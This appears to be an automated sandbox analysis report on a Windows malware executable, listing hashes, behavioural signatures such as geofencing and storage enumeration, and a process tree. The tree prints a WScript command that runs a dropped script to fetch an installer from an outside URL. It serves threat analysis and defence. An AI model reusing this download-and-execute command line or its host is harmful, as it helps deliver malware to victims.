Analysis

  • max time kernel
    186s
  • max time network
    194s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2022 08:44

General

  • Target

    afaaaa964656a1f05fac4ec8f606e818ca615ffdcc17ecdfdc919b485fcb26f0.exe

  • Size

    184KB

  • MD5

    6838adf611f0cde8c84fb5f0af39d136

  • SHA1

    ce3885f44d3b734adda4c5d60c76fe9949d73b29

  • SHA256

    afaaaa964656a1f05fac4ec8f606e818ca615ffdcc17ecdfdc919b485fcb26f0

  • SHA512

    779836f66ae4cb68ec5beff3fde05dc998e14891d19f2275f0f53bf884f93c9c1902910146c64f8de97637afa6cbcaee01d62a709f4bc486eccabbe1e9ca6a35

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3w:/7BSH8zUB+nGESaaRvoB7FJNndnR

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\afaaaa964656a1f05fac4ec8f606e818ca615ffdcc17ecdfdc919b485fcb26f0.exe
    "C:\Users\Admin\AppData\Local\Temp\afaaaa964656a1f05fac4ec8f606e818ca615ffdcc17ecdfdc919b485fcb26f0.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCD1.js" http://www.djapp.info/?domain=prtMmgkFvu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fufCD1.exe
      2⤵
      • Blocklisted process makes network request
      PID:308

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufCD1.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76